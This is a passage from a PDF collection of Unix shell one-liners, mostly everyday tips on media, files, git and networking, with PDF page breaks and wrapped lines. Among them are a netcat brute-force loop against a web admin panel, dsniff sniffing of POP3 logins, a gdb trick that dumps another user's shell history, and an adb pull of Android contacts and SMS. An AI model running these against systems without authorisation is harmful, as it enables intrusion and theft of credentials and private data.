sxh () { for i in "${@:2}"; do ssh "$i" "$1"; done ; }
# HTTP Get of a web page via proxy server with login credentials
curl -U username[:password] -x proxyserverIP:proxyserverPort webpageURI
# First pass dvd rip... The set of commands was too long, so I had to separate them into
two.
mencoder dvd://<title> -dvd-device <device> -aid 128 -info srcform='ripped by mencoder' -oac
mp3lame -lameopts abr:br=128 -ovc xvid -xvidencopts
pass=1:chroma_opt:vhq=4:bvhq=1:quant_type=mpeg -vf pp=de,crop=0:0:0:0, -ofps 30000/1001 -o
'/dev/null'
# Netcat brute force on administration login panel
for i in $(cat adm);do echo -e "GET /${i} HTTP/1.0\n\r\n\r \nHost: 192.168.77.128\r\n\r\n
\nConnection: close\r\n"|nc -w 1 192.168.77.128 80 |grep -i "200 OK" 2>/dev/null >/dev/null;
[ $? -eq "0" ] && echo "Found ${i}" && break;echo "$i";sleep 1;done
# calculate in commandline with bash
echo $(( 1+1 ))
# change up n directories
up () { if [ "${1/[^0-9]/}" == "$1" ]; then p=./; for i in $(seq 1 $1); do p=${p}../; done;
cd $p; else echo 'usage: up N'; fi }
# wget with resume
wget -c
or wget --continue
# Install Restricted Multimedia Codecs in Ubuntu 14.04
sudo apt-get install libavcodec-extra
# Quick calculator at the terminal
echo "$math_expr" | bc -l

203 / 658

All UNIX COMMANDS


# Second pass dvd rip... The set of commands was too long, so I had to separate them into
two.
mencoder dvd://<title> -dvd-device <device> -aid 128 -info srcform='ripped by mencoder' -oac
mp3lame -lameopts abr:br=128 -ovc xvid -xvidencopts pass=2:bitrate=-700000 -ofps 30000/1001
-o '<outputfile.avi>'
# split large video file
ffmpeg -i 100_0029.MOV -ss 00:00:00 -t 00:04:00 100_0029_1.MOV
# Updates your no-ip.org account with curl
curl -u $USERNAME:$PASSWORD "http://dynupdate.no-ip.com/nic/update?hostname=$HOSTNAME"
# add static arp entry to default gateway, arp poison protection
arp -s $(route -n | awk '/^0.0.0.0/ {print $2}') \ $(arp -n | grep `route -n | awk
'/^0.0.0.0/ {print $2}'`| awk '{print $3}')
# Rip a DVD to AVI format
mencoder dvd://1 -aid 128 -o track-1.avi -oac copy -ovc lavc -lavcopts vcodec=mpeg4
# Use QuickLook from the command line without verbose output
qlook() { qlmanage -p "$@" >& /dev/null & }
# print contents of file from line 1 until we match regex
sed -n '1,/regex/p' filename
# print line and execute it in BASH
echo <command>; !#:0-$
# move messages directly from one IMAP inbox to another
mailutil appenddelete '{src.mailsrv1.com:993/imap/norsh/notls/ssl/novalidatecert/user="username"}INBOX' '{dest.mailsrv2.com:143/imap/norsh/notls/user="username"}INBOX'
# Video thumbnail
ffmpeg -ss 5 -i video.avi -vframes 1 -s 320x240 thumb.jpg
# Show the key code for keyboard events include the Fn keys
sudo showkey -k
# Screencast of your PC Display with mp4 output
avconv -v warning -f alsa -i default -f x11grab -r 15 -s wxga -i :0.0 -vcodec libx264
-preset ultrafast -threads auto -y -metadata title="Title here" ~/Video/AVCONV_REG.mp4
# nohup that doesn't generate nohup.out
nohup <command> 2> /dev/null > /dev/null &

# Remove comments in XML file


xmlstarlet ed -d '//comment()' $XML_FILE
# Replace Every occurrence of a word in a file
perl -p -i -e 's/this/that/g' filename
# Report bugs in Ubuntu
ubuntu-bug
# Get each users commit amount
svn log 2>&1 | egrep '^r[0-9]+' | cut -d "|" -f2 | sort | uniq -c
# Query Wikipedia via console over DNS

204 / 658

All UNIX COMMANDS


nslookup -q=txt <topic>.wp.dg.cx
# Force the script to be started as root
if [ $EUID -ne 0 ]; then if [ -t 0 ]; then exec sudo $0; else exec gksu $0; fi; fi;
# Run bash on top of a vi session (saved or not saved), run multiple commands, instead of
one at a time with :!(bashcommand), type exit and [enter] to get back to where you left off
in vi.
:shell
# Getting the ip address of eth0
ifconfig eth0 | awk '/inet addr/ {split ($2,A,":"); print A[2]}'
# add a gpg key to aptitute package manager in a ubuntu system
wget -q http://xyz.gpg -O- | sudo apt-key add # send echo to socket network
echo foo | netcat 192.168.1.2 25
# mount a cdrom
mount -t iso9660 /dev/cdrom /media/cdrom
# Netcat & Tar
Server: nc -l 1234 |tar xvfpz

;Client: tar zcfp - /path/to/dir | nc localhost 1234

# Limit the transfer rate and size of data over a pipe


cat /dev/zero | pv -L 3m -Ss 100m > /dev/null
# List symbols from a dynamic library (.so file)
nm --dynamic <libfile.so>
# Copy text to the clipboard
cat SomeFile.txt | pbcopy
# preprocess code to be posted in comments on this site
sed 's/^/$ /' "$script" | xclip
# Display Dilbert strip of the day
display http://dilbert.com$(curl -s dilbert.com|grep -Po '"\K/dyn/str_strip(/0+){4}/.*strip.
[^\.]*\.gif')
# The Hidden PS
for p in `ps L|cut -d' ' -f1`;do echo -e "`tput clear;read -p$p -n1 p`";ps wwo
pid:6,user:8,comm:10,$p kpid -A;done
# add repeated watermark to image
composite -dissolve 30% -tile watermark.png input.png output.png
# python - covert image to base64 string for data URI use
python -c 'print open("path/to/image.png", "rb").read().encode("base64").replace("\n","")'
# Find Files That Exceed a Specified Size Limit
find directory -size +nnn
# get diskusage of files modified during the last n days
sudo find /var/log/ -mtime -7 -type f | xargs du -ch | tail -n1
# prints line numbers
ls | sed "/^/=" | sed "N;s/\n/. /"

205 / 658

All UNIX COMMANDS


# grab all commandlinefu shell functions into a single file, suitable for sourcing.
curl -s http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-2400:25] |
grep -oP "^\w+\(\)\ *{.*}"
# Create a video screencast (capture screen) of screen portion, with audio (the audio you
hear, not your mic)
cvlc --input-slave pulse://<device> screen:// --screen-fps=15 --screen-top=0 --screen-left=0
--screen-width=640 --screen-height=480
--sout='#transcode{vcodec=FLV1,vb=1600,acodec=aac}:std{access=file,mux=ffmpeg{mux=flv},dst=v
iewport1.flv}'

# find an unused unprivileged TCP port


(netstat -atn | awk '{printf "%s\n%s\n", $4, $4}' | grep -oE '[0-9]*$'; seq 32768 61000) |
sort -n | uniq -u | head -n 1
# Randomize lines (opposite of | sort)
sort -R
# password recovery on debian
init=/bin/bash; mount -o remount,rw /
# print java packages by using unix tree and sed
tree -d -I 'CVS' -f -i | sed 's/\//./g' | sed 's/\.\.//g'
# Find and delete thunderbird's msf files to make your profile work quickly again.
find ~/.thunderbird/*.default/ -name *.msf -exec rm -f {} \;
# quick and dirty formatting for HTML code
sed -r 's_(/[^>]*?>)_\1\n_g' filename.html
# Notepad in a browser
firefox 'data:text/html, <html contenteditable>'
# Display your ${PATH}, one directory per line
echo $PATH | tr : \\n
# copies 20 most recently downloaded mp3 files (such as from Miro) into a directory
find . -name \*.mp3 -printf "%C+ %h/%f\n" | sort -r | head -n20 | awk '{print "\""$2"\""}' |
xargs -I {} cp {} ~/tmp
# import gpg key from the web
curl -s http://defekt.nl/~jelle/pubkey.asc | gpg --import
# Outputs a 10-digit random number
head -c4 /dev/urandom | od -N4 -tu4 | sed -ne '1s/.* //p'
# convert a latex source file (.tex) into opendocument (.odt ) format
htlatex MyFile.tex "xhtml,ooffice" "ooffice/! -cmozhtf" "-coo -cvalidate"
# Write comments to your history.
comment() { echo "" > /dev/null; }
# Create named LUKS encrypted volume
edrv() { N=${1:-edrv}; truncate -s ${2:-256m} $N.img && L=$(losetup -f) && losetup $L $N.img
&& cryptsetup luksFormat --batch-mode $L && cryptsetup luksOpen $L $N && mkfs.vfat
/dev/mapper/$N -n $N; cryptsetup luksClose $N; echo losetup -d $L to unmount; }
# Repeatedly send a string to stdout-- useful for going through "yes I agree" screens

206 / 658

All UNIX COMMANDS


yes "text" | annoying_installer_program # "text" defaults to the letter y
# remove audio trac from a video file
mencoder -ovc copy -nosound ./movie.mov -o ./movie_mute.mov
# Do a search-and-replace in a file after making a backup
sed -i.bak 's/old/new/g' file
# Check a server is up. If it isn't mail me.
ping -q -c1 -w3 server.example.com >& /dev/null || echo server.example.com ping failed |
mail -ne -s'Server unavailable' admin@example.com
# bash alias for sdiff: differ
alias differ='sdiff --suppress-common-lines'
# Deal with dot files safely
rm -r .[!.]*
# What is my public IP address
GET checkip.dyndns.org
# How to stop MAC Address via IPTables
-A INPUT -i eth1 -m mac ?mac 00:BB:77:22:33:AA -j ACCEPT
# Format date/time string for a different day
date --date=yesterday +%Y%m%d
# GRUB2: Set Imperial Death March as startup tune
echo "GRUB_INIT_TUNE=\"480 440 4 440 4 440 4 349 3 523 1 440 4 349 3 523 1 440 8 659 4 659 4
659 4 698 3 523 1 415 4 349 3 523 1 440 8"\"" | sudo tee -a /etc/default/grub > /dev/null &&
sudo update-grub
# Convert any sequence of spaces/tabs to single space/tab
tr -s ' \t' <1.txt >2.txt

# Drop or block attackers IP with null routes


sudo route add xxx.xxx.xxx.xxx gw 127.0.0.1 lo
# Determine the version of a specific package with RPM
rpm -q --qf "%{VERSION}\n" redhat-release
# Do one ping to a URL, I use this in a MRTG gauge graph to monitor connectivity
ping -q -c 1 www.google.com|awk -F/ 'END{print $5}'
# sort through source to find most common authors
find . -type f -name "*.java" -print0 | xargs -0 -n 1 svn blame | sed -n 's/^[^a-z]*\([az]*\).*$/\1/p' | sort | uniq -c | sort -n
# Testing php configuration
php -r phpinfo();
# 1+2-3+4-5+6-7 Series
seq 1000 | paste -sd+- | bc
# dstat- this command is powerful one to monitor system activity . It has combined the power
of vmstat,iostat,mpstat,df,free,sar .
dstat -afv

207 / 658

All UNIX COMMANDS


# Find directory depth
find . -printf '%d\n' | sort -n

| tail -1

# Move mp3 files to another path with existing subtree structure


find . -iname "*.mp3" -type f -print0 | xargs -0 -I '{}' mv {} /new/path/to/mp3/{}
# 1:1 copy of a volume
find / -xdev -print | cpio -pdmuv /mnt/mydisk
# Burn CD/DVD from an iso, eject disc when finished.
cdrecord dev=0,0,0 -v -eject yourimage.iso
# Command template, executing a command over multiple files, outputing progress and fails
only
find <dir> -name "<pattern>" | while read file; do echo -n .; output=$(<command>) || (echo ;
echo $file:; echo "$output"; ); done
# Unzip and untar a *.tar.gz file in one go to a specific directory
tar -zxvf file.tar.gz -C /tmp
# copy hybrid iso images to USB key for booting from it, progress bar and remaining time are
displayed while copying
time (pv file.iso | dd bs=1M oflag=sync of=/dev/sdX 2>/dev/null)
# tcmdump check ping
tcpdump -nni eth0 -e icmp[icmptype] == 8
# Which Twitter user are you?
curl -s http://twitter.com/username | grep 'id="user_' | grep -o '[0-9]*'
# du and sort to find the biggest directories in defined filesystem
du -x / | sort -rn | less
# List subfolders from largest to smallest with sizes in human readable form
du -hd1 | sort -hr
# Forwards connections to your port 2000 to the port 22 of a remote host via ssh tunnel
ssh -NL 2000:remotehost:22 remotehost
# Geolocate a given IP address
geoiplookup <ipadress>
# %s across multiple files with Vim
:set nomore
:argdo %s/foo/bar/g | update
# List contents of jar
jar -tf file.jar
# Selecting a random file/folder of a folder
ls -1 | shuf -n 1
# Remove orphaned dependencies on Arch
pacman -Qdt -q | xargs pacman --noconfirm -R
# Validate date, also a date within a leap year
date -d2009-05-18 > /dev/null 2>&1 ; echo $?

# Setting reserved blocks percentage to

1%

208 / 658

All UNIX COMMANDS


sudo tune2fs -m 1 /dev/sda4
# Install Linux Kernel Headers on Debian-based systems
sudo apt-get install linux-headers-`uname -r`
# Cleanly manage tempfiles in scripts
TMPROOT=/tmp; TMPDIR=$(mktemp -d $TMPROOT/somedir.XXXXXX); TMPFILE=$(mktemp
$TMPROOT/somefile.XXXXXX); trap "rm -rf $TMPDIR $TMPFILE; exit" INT TERM EXIT; some
treatment using $TMPDIR and $TMPFILE; exit 0
# restart apache only if config works
alias restart='apache2ctl configtest && apache2ctl restart'
# Signals list by NUMBER and NAME
i=0;for s in `fuser -l`;do echo $((i++)) $s;done
# Retrieve the size of a file on a server
curl -s "$URL" |wc -c
# Remove text from file1 which is in file2 and stores it in an other file
grep -Fvf file1 file2 > file-new
# convert ascii string to hex
python -c 'print "hello".encode("hex")'
# Google Translate
translate () {lang="ru"; text=$*; wget -U "Mozilla/5.0" -qO "http://translate.google.com/translate_a/t?client=t&text=$text&sl=auto&tl=$lang" | sed 's/\
[\[\[\"//' | cut -d \" -f 1}
# Get line count for any file ending with extension recursively rooted at the current
directory.
find . -name "*.py" | xargs wc -l
# Concatenates lines using sed
sed -e :a -e '/$/N;s/\n/ /;ta' <filename>
# convert flac to mp3
flac -cd input.flac |lame -h - output.mp3
# show the working directories of running processes
lsof -bw -d cwd -a -c java
# convert all files in a dir of a certain type to flv
for f in *.m4a; do ffmpeg -i "$f" "${f%.m4a}.flv"; done
# Vlc ncurses mode browsing local directorys.
vlc -I ncurses <MEDIA_DIR>
# Shows what processes need to be restarted after system upgrade
checkrestart
# Set laptop display brightness
echo <percentage> | sudo dd of=/proc/acpi/video/VGA/LCD/brightness
# backup your history
history > ~/history-save-$(date +%d-%m-%y-%T)
# list only directories in reverse order
ls -ltrhd */

209 / 658

All UNIX COMMANDS


# Getting started with tcpdump
tcpdump -nli eth0; tcpdump -nli eth0 src or dst w.x.y.z; tcpdump -nli eth0 port 80; tcpdump
-nli eth0 proto udp
# Search trought pidgin's conversation logs for "searchterm", and output the result.
grep -Ri searchterm ~/.purple/logs/* | sed -e 's/<.*?>//g'
# Disconnect telnet
telnet somehost 1234, <ctrl+5> close
# Combine cssh and shell expansion to execute commands on a large cluster
cssh 192.168.125.{1..200}
# rotate a one page pdf to 90 Degrees Clockwise
pdftk pdfname.pdf cat 1E output outputname.pdf
# Set executable permissions on a file under Subversion
svn propset svn:executable ON filename

# Email HTML content


mailx bar@foo.com -s "HTML Hello" -a "Content-Type: text/html" < body.htm
# Matrix Style
while true ; do IFS="" read i; echo "$i"; sleep .01; done < <(tr -c "[:digit:]" " " <
/dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]")
# Create a tar file with the current date in the name.
tar cfz backup-$(date --iso).tar.gz somedirs
# Increase SCT of external USB disk enclosure to one hour.
sdparm -s SCT=36000 --save /dev/sdb
# Get windows IPv4 and nothing else
cls && ipconfig | find "IPv4"
# Display information sent by browser
nc -l 8000
# Get info on RAM Slots and Max RAM.
dmidecode 2.9 | grep "Maximum Capacity"; dmidecode -t 17 | grep Size
# Outputs a 10-digit random number
tr -c -d 0-9 < /dev/urandom | head -c 10
# determine if tcp port is open
if (nc -zw2 www.example.com 80); then echo open; fi
# How to get an absolute value
abs_value=-1234; echo ${abs_value#-}
# find duplicate processes
ps aux | sort --key=11 | uniq -c -d --skip-fields=10 | sort -nr --key=1,1
# delete unversioned files in a checkout from svn
svn st | grep "^\?" | awk "{print \$2}" | xargs rm -rf
# get delicious bookmarks on your shell (text version :-))

210 / 658

All UNIX COMMANDS


curl -u 'username'
https://api.del.icio.us/v1/posts/all
| sed
's/^.*href=//g;s/>.*$//g;s/"//g' | awk '{print $1}' | grep 'http'
# Preview of a picture in a terminal
img test.jpg
# determine if a shared library is compiled as 32bit or 64bit
libquery=/lib32/libgcc_s.so.1; if [ `nm -D $libquery | sed -n '/[0-9A-Fa-f]\{8,\}/ {p; q;}'
| grep "[0-9A-Fa-f]\{16\}" | wc -l` == 1 ]; then echo "$libquery is a 64 bit library"; else
echo "$libquery is a 32 bit library"; fi;
# graphical memory usage
smem --pie name -s pss
# Substitute audio track of video file using mencoder
mencoder -ovc copy -audiofile input.mp3 -oac copy input.avi -o output.avi
# Prints line numbers
grep -n "^" <filename>
# Is today the last day of the month?
[ `date --date='next day' +'%B'` == `date +'%B'` ] || echo 'end of month' && echo 'not end
of month'
# Put a console clock in top right corner
while true; do tput sc; tput cup 0 $(($(tput cols)-74)); w | grep load; tput rc; sleep 10;
done &
# Dump bash command history of an active shell user.
APID=<pid number>; gdb -batch --eval "attach $APID" --eval "call
write_history(\"/tmp/bash_history-$APID.txt\")" --eval 'detach' --eval 'q'
# Lvextend logical volume
lvextend -r -L+100G /dev/VG/LV
# Wait for an already launched program to stop before starting a new command.
wait $!
# GIT: list unpushed commits
git log --oneline <REMOTE>..<LOCAL BRANCH>
# Replace multiple spaces with semicolon
sed "s/\s\+/;/g;s/^ //;s/ $//" filename.csv

# Spell check the text in clipboard (paste the corrected clipboard if you like)
xclip -o > /tmp/spell.tmp; aspell check /tmp/spell.tmp ; cat /tmp/spell.tmp | xclip
# Calculate N!
echo $(( $(echo 1 "* "{2..10}) ))
# Find broken symlinks and delete them
find . -type l -exec test ! -e {} \; -delete
# Unrar multiple directories into current working directory
for x in */*.rar; do unrar x $x; done
# Both view and pipe the file without saving to disk
cat /path/to/some/file.txt | tee /dev/pts/0 | wc -l

211 / 658

All UNIX COMMANDS


# delete multiple files from git index that have already been deleted from disk
git status | grep deleted | awk '{print $3}' | xargs git rm
# Recover cvs ": no such repository" error
find ./* -name 'CVS' | awk '{print "dos2unix " $1 "/*"}' | awk '{system($0)}'
# Deleting Files from svn which are missing
svn status | grep '!' | sed 's/!/ /' | xargs svn del --force
# Get current Xorg resolution via xrandr
$ xrandr -q|perl -F'\s|,' -lane "/^Sc/&&print join '',@F[8..10]"
# Merge Multiple PDFs
pdftk *.pdf cat output merged.pdf
# ps with parent/child process tree
ps auxf
# Convert numbers to SI notation
$ awk '{ split(sprintf("%1.3e", $1), b, "e"); p = substr("yzafpnum_kMGTPEZY", (b[2]/3)+9,
1); o = sprintf("%f", b[1] * (10 ^ (b[2]%3))); gsub(/\./, p, o); print
substr( gensub(/_[[:digit:]]*/, "", "g", o), 1, 4); }' < test.dat
# Fetch the Gateway Ip Address
ip route list match 0.0.0.0/0 | cut -d " " -f 3
# 5 Which Aliases
alias whichall='{ command alias; command declare -f; } | command which --read-functions
--read-alias -a'
# How to remove an ISO image from media database
VBoxManage closemedium dvd "/sicuramente/mipaghi/tutto.iso
# post data with a http request
curl -d "a1=v1&a2=v2" url
# Dump android contacts, sms
adb pull /data/data/com.android.providers.contacts/databases/contacts2.db ; sqlite3 -batch
<<EOF contacts2.db <CR> .header on <CR> .mode tabs <CR> select * from data; <CR> EOF
# Make changes in .bashrc immediately available
bashrc-reload() { builtin unalias -a; builtin unset -f $(builtin declare -F | sed
's/^.*declare[[:blank:]]\+-f[[:blank:]]\+//'); . ~/.bashrc; }
# Find out current working directory of a process
echo COMMAND | xargs -ixxx ps -C xxx -o pid= | xargs -ixxx ls -l /proc/xxx/cwd
# Binary injection
echo -n $HEXBYTES | xxd -r -p | dd of=$FILE seek=$((0x$OFFSET)) bs=1 conv=notrunc
# Your name backwards
espeak "$USER" --stdout | sox - -t mp3 - reverse | mpg123 # Change every instance of OLD to NEW in file FILE
sed -i 's/OLD/NEW/g' FILE
# positions the mysql slave at a specific master position
slave start; SELECT MASTER_POS_WAIT('master.000088','8145654'); slave stop;

212 / 658

All UNIX COMMANDS


# Schedule Nice Background Commands That Won't Die on Logout - Alternative to nohup and at
( trap '' 1; ( nice -n 19 sleep 2h && command rm -v -rf /garbage/ &>/dev/null && trap 1 )
& )
# Shuffle mp3 files in current folder and play them.
ls | grep -i mp3 | sort -R | sed -e 's/.*/"&"/' | xargs mpg123

# Create incremental snapshots of individual folders using find and tar-gzip


find /mnt/storage/profiles/ -maxdepth 1 -mindepth 1 -type d | while read d; do tarfile=`echo
"$d" | cut -d "/" -f5`; destdir="/local/backupdir/"; tar -g "$destdir"/"$tarfile".snar -czf
"$destdir"/"$tarfile"_`date +%F`.tgz -P $d; done
# Create passwords and store safely with gpg
tr -dc "a-zA-Z0-9-_\$\?" < /dev/urandom | head -c 10 | gpg -e -r medha@nerdish.de >
password.gpg
# Search through all installed packages names (on RPM systems)
rpm -qa \*code\*
# clear all non-ascii chars of file.txt
iconv -c -f utf-8 -t ascii file.txt
# Archive all SVN repositories in platform indepenent form
find repMainPath -maxdepth 1 -mindepth 1 -type d | while read dir; do echo processing $dir;
sudo svnadmin dump --deltas $dir >dumpPath/`basename $dir`; done
# Convert multiple flac files to mp3
for file in *.flac; do $(flac -cd "$file" | lame -h - "${file%.flac}.mp3"); done
# extract content of a Debian package
ar -x package.deb
# echo unicode characters
echo -e \\u2620
# Archive all SVN repositories in platform indepenent form
budir=/tmp/bu.$$;for name in repMainPath/*/format;do dir=${name%/format};bufil=dumpPath/$
{dir##*/};svnadmin hotcopy --clean-logs $dir $budir;svnadmin dump --delta $budir>$bufil;rm
-rf $budir;done
# Functions to display, save and restore $IFS
ifs () { echo -n "${IFS}"|hexdump -e '"" 10/1 "'\''%_c'\''\t" "\n"' -e '"" 10/1 "0x%02x\t"
"\n\n"'|sed "s/''\|\t0x[^0-9]//g; $,/^$/d"
# find co-ordinates of a location
findlocation() { place=`echo $1 | sed 's/ /%20/g'` ; curl -s
"http://maps.google.com/maps/geo?output=json&oe=utf-8&q=$place" | grep -e "address" -e
"coordinates" | sed -e 's/^ *//' -e 's/"//g' -e 's/address/Full Address/';}
# Sniff ONLY POP3 authentication by intercepting the USER command
dsniff -i any 'tcp port pop3'
# Watch the National Debt clock
watch -n 10 "wget -q http://www.brillig.com/debt_clock -O - | grep debtiv.gif | sed -e
's/.*ALT=\"//' -e 's/\".*//' -e 's/ //g'"
# Get lines count of a list of files
find . -name "*.sql" -print0 | wc -l --files0-from=-

213 / 658

All UNIX COMMANDS


# Quickly batch resize images
mogrify -geometry 800x600 *.jpg
# Get an authorization code from Google
curl -s https://www.google.com/accounts/ClientLogin -d Email=$email -d Passwd=$password -d
service=lh2 | grep Auth | sed 's/Auth=\(.*\)/\1/'
# Check whether laptop is running on battery or cable
cat /proc/acpi/ac_adapter/AC0/state
# List just the executable files (or directories) in current directory
ls -F | grep '*$'
# Hold off any screensavers/timeouts
while true; do xdotool mousemove_relative 1 1; xdotool mousemove_relative -- -1 -1; sleep $
((60 * 4)); done
# Display a Lissajous curve in text
ruby -rcurses -e"include Curses;i=0;loop{setpos 12*(Math.sin(i)
+1),40*(Math.cos(i*0.2)+1);addstr'.';i+=0.01;refresh}"
# Export a directory to all clients via NFSv4, read/write.
exportfs -o fsid=0,rw :/home/jason
# See a full list of compiler defined symbols
gcc -dM -E - < /dev/null
# Show Mac OS X version information
sw_vers
# convert filenames in current directory to lowercase
find my_root_dir -depth -exec rename 's/(.*)\/([^\/]*)/$1\/\L$2/' {} \;
# slow down CPU and IO for process and its offsprings.
slow2() { ionice -c3 renice -n 20 $(pstree `pidof $1` -p -a -u -A|gawk 'BEGIN{FS=","}{print
$2}'|cut -f1 -d " ") ; }

# List detailed information about a ZIP archive


zipinfo -l <pathtozipfile>
# Add "prefix" on a buch of files
for a in *; do mv $a prefix${a}; done
# A snooze button for xmms2 alarm clock
xmms2 pause && echo "xmms2 play" | at now +5min
# View webcam output using GStreamer pipeline
gst-launch-0.10 autovideosrc ! video/x-raw-yuv,framerate=\
(fraction\)30/1,width=640,height=480 ! ffmpegcolorspace ! autovideosink
# Display packages and versions on Debian/Ubuntu distrib
dpkg-query -Wf '${Package} - ${Version}\n' | sort -n
# Get the time since epoch
date +%s
# Create a DOS floppy image

214 / 658

All UNIX COMMANDS


dd if=/dev/zero bs=1024 count=1440 > floppy.img && mkdosfs floppy.img
# Display condensed log of changes to current git repository
git log --pretty=oneline
# download all the presentations from UTOSC2010
b="http://2010.utosc.com"; for p in $( curl -s $b/presentation/schedule/ | grep
/presentation/[0-9]*/ | cut -d"\"" -f2 ); do f=$(curl -s $b$p | grep "/static/slides/" | cut
-d"\"" -f4); if [ -n "$f" ]; then echo $b$f; curl -O $b$f; fi done
# send a file or directory via ssh compressing with lzma for low trafic
tar -cf - ./file | lzma -c | ssh user@sshserver $(cd /tmp; tar --lzma -xf -)
# Save all commands from commandlinefu.com to plain text sort by vote
curl http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-9000:25] | grep
-vE "_curl_|\.com by David" > clf-ALL.txt
# Convert PDF to JPG
for file in *.pdf; do convert -verbose -colorspace RGB -resize 800 -interlace none -density
300 -quality 80 "$file" "${file//.pdf/.jpg}"; done
# user 'tr' to convert mixed case in a file to lower case
tr "[:upper:]" "[:lower:]" < file
# grep certain file types recursively
find . -name "*.[ch]" -exec grep "TODO" {} +
# Sort movies by length, longest first
find -name '*.avi' | while read i ; do echo $(mplayer -identify -frames 0 -vo null -nosound
"$i" 2>&1 | grep ID_LENGTH | cut -d= -f2)" ""$i" ;done | sort -k1 -r -n | sed 's/^\([^\ ]
*\)\ \(.*\)$/\2:\1/g'
# Find C/C++ source files
find . -name '*.[c|h]pp' -o -name '*.[ch]' -type f
# Suppress output of loud commands you don't want to hear from
quietly() { "$@" > /dev/null 2>&1; }
# find your release version of your ubuntu / debian distro
lsb_release -a
# display a one-liner of current nagios exit statuses. great with netcat/irccat
grep current_state= /var/log/nagios/status.dat|sort|uniq -c|sed -e "s/[\t ]*\([09]*\).*current_state=\([0-9]*\)/\2:\1/"|tr "\n" " "
# Colored cal output
alias cal='cal | grep --color=auto -E "( |^)$(date +%e)|$"'
# Restore deleted file from GIT repository
git checkout $(git rev-list -n 1 HEAD -- "$file")^ -- "$file"
# modify a file in place with perl
perl -pi -e 's/THIS/THAT/g' fileglob*
# Shorten any Url using bit.ly API, using your API Key which enables you to Track Clicks
curl "http://api.bit.ly/shorten?
version=2.0.1&longUrl=<LONG_URL_YOU_WANT_SHORTENED>&login=<YOUR_BITLY_USER_NAME>&apiKey=<YOU
R_API_KEY>"
# history manipulation

215 / 658

All UNIX COMMANDS


!-2 && !-1
# Deploy git server repo
apt-get -y install git-core gitosis; adduser --home /home/git --gecos "git user" git; su git
-c "ssh-keygen -t rsa -f /home/git/.ssh/id_rsa; gitosis-init < ~/.ssh/id_rsa"

# Convert a string to "Title Case"


echo 'This is a TEST' | sed 's/[^ ]\+/\L\u&/g'
# old man's advice
fortune | toilet -w $(($(tput cols)-5)) -f pagga | cowsay -n -f beavis.zen
# A function to find the newest file in a directory
find /path/to/dir -type f -printf "%T@|%p\n" 2>/dev/null | sort -n | tail -n 1| awk -F\|
'{print $2}'
# Find biggest 10 files in current and subdirectories and sort by file size
find . -type f -print0 | xargs -0 du -h | sort -hr | head
# External IP (raw data)
wget -qO- http://utils.admin-linux.fr/ip.php
# dump database from postgresql to a file
pg_dump -Ft -b -Uusername -hdb.host.com db_name > db.tar
# Instant mirror from your laptop + webcam
cvlc v4l2:// :vout-filter=transform :transform-type=vflip :v4l2-width=320 :v4l2-height=240
-f &
# Quickly build ulimit command from current values
echo "ulimit `ulimit -a|sed -e 's/^.*\([a-z]\))\(.*\)$/-\1\2/'|tr "\n" ' '`"
# Calculate 1**2 + 2**2 + 3**2 + ...
seq -f"%g^2" -s "+" 10 | bc
# Combine all .mpeg files in current directory into one big one.
cat *.mpg > all.mpg
# Shows the torrent file name along with the trackers url
grep -ao -HP "http://[^/]*/" *
# show the real times iso of epochs for a given column
perl -F' ' -MDate::Format -pale 'substr($_, index($_, $F[1]), length($F[1]), time2str("%C",
$F[1]))' file.log
# Recursive grep of all c++ source under the current directory
find . -name '*.?pp' | xargs grep -H "string"
# Generate trigonometric/log data easily
echo "e("{1..8}");" | bc -l
# get you public ip address
echo $(curl -s http://ipwhats.appspot.com/)
# Generate a (compressed) pdf from images
convert -compress jpeg *.jpg mydoc.pdf
# "I Feel Lucky" for Google Images

216 / 658

All UNIX COMMANDS


echo -n "search> ";read QUERY && wget -O - `wget -O - -U "Mozilla/5.0"
"http://images.google.com/images?q=${QUERY}" 2>/dev/null |sed -e 's/","http/\n","http/g' |
awk -F \" '{print $3}' |grep -i http: |head -1` > "$QUERY"
# Find
xwininfo
# Speed up the keyboard repeat rate in X server
xset r rate 250 120
# Get Unique Hostnames from Apache Config Files
cat /etc/apache2/sites-enabled/* | egrep 'ServerAlias|ServerName' | tr -s ' ' | sed
's/^\s//' | cut -d ' ' -f 2 | sed 's/www.//' | sort | uniq
# Normalize volume output in MPlayer
mplayer -af volnorm=2:0.75 dvd://
# Paged, colored svn diff
svn diff $* | colordiff | less -r
# compare two Microsoft Word documents
meld <(antiword microsoft_word_a.doc) <(antiword microsoft_word_b.doc)
# Pick a random line from a file
sort -R file.txt | head -1
# show todays svn log
svn log --revision {`date +%Y-%m-%d`}:HEAD

# Recover resolution when a fullscreen program crashes and you're stuck with a tiny X
resolution
xrandr -s 0
# List all the files that have been deleted while they were still open.
lsof | egrep "^COMMAND|deleted"
# Run skype using your GTK theme
skype --disable-cleanlooks -style GTK
# Determine space taken by files of certain type
find . -name <pattern> -ls | awk 'BEGIN {i=0}; {i=i+$7}; END {print i}'
# Double your disk read performance in a single command
blockdev --setra 1024 /dev/sdb
# force unsupported i386 commands to work on amd64
setarch i386 [command [args]]
# Find files recursively that were updated in the last hour ignoring SVN files and folders.
find . -mmin -60 -not -path "*svn*" -print|more
# Comma insertions
perl -pe '$_=reverse;s/\d{3}(?=\d)(?!.*?\.)/$&,/g;$_=reverse'
# Create subversion undo point
function svnundopoint() { if [ -d .undo ]; then r=`svn info | grep Revision | cut -f 2 -d '
'` && t=`date +%F_%T` && f=${t}rev${r} && svn diff>.undo/$f && svn stat>.undo/stat_$f; else
echo Missing .undo directory; fi }

217 / 658

All UNIX COMMANDS


# merge pdf using bash brace exansion
pdftk pg_000{1..9}.pdf cat output MyFile.pdf
# Google Translate
cmd=$( wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?
v=1.0&q=$1&langpair=$2|${3:-en}" | sed 's/.*"translatedText":"\([^"]*\)".*}/\1\n/'; );
"$cmd"
# translate what is in the clipboard in english and write it to the terminal
curl -s "http://ajax.googleapis.com/ajax/services/language/translate?langpair=|
en&v=1.0&q=`xsel`" |cut -d \" -f 6

echo

# Convert DOS newlines (CR/LF) to Unix format


sed 's/^M$//' input.txt > output.txt
# invoke MATLAB functions from command line
nohup matlab -nosplash -nodesktop -nodisplay -nojvm -logfile output.log -r "function(0)"
>output &
# Turn off your laptop screen on command
xset dpms force standby
# Show (only) list of files changed by commit
git show --relative --pretty=format:'' --name-only HASH
